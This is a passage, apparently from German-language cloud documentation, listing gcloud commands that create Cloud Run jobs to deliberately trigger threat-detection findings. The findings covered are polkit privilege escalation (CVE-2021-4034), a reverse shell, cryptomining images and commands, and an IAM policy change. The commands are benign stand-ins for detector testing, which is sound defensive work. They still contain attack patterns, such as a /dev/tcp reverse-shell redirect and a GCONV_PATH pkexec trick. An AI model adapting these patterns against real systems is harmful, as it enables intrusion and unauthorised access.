   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) erstellt.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt.

Ausführung: Docker-Image für Cryptomining

So lösen Sie die Ausführung „Cryptomining-Docker-Image gefunden“ aus: Stellen Sie einen Container mit einem Docker-Image-Namen bereit, der mit Cryptomining-Software verknüpft ist.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Docker-Image für Cryptomining“ erstellt. Beachten Sie, dass die Jobbereitstellung fehlschlägt, da das Image nicht vorhanden ist. Die Sicherheitslücke wird aber trotzdem generiert.

Auswirkungen: Cryptomining-Befehle

Um ein Impact: Cryptomining Commands-Ergebnis auszulösen, führen Sie einen Befehl mit Argumenten aus, die denen bekannter Kryptomining-Software ähneln.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Cryptomining Commands-Ergebnis erstellt.

Rechteausweitung: Standarddienstkonto für Compute Engine SetIAMPolicy

Um einen Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy-Befund auszulösen, führen Sie einen Befehl aus, der das Compute Engine-Standarddienstkonto verwendet, um die IAM-Richtlinie eines Cloud Run-Dienstes festzulegen.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy erstellt.

Nächste Schritte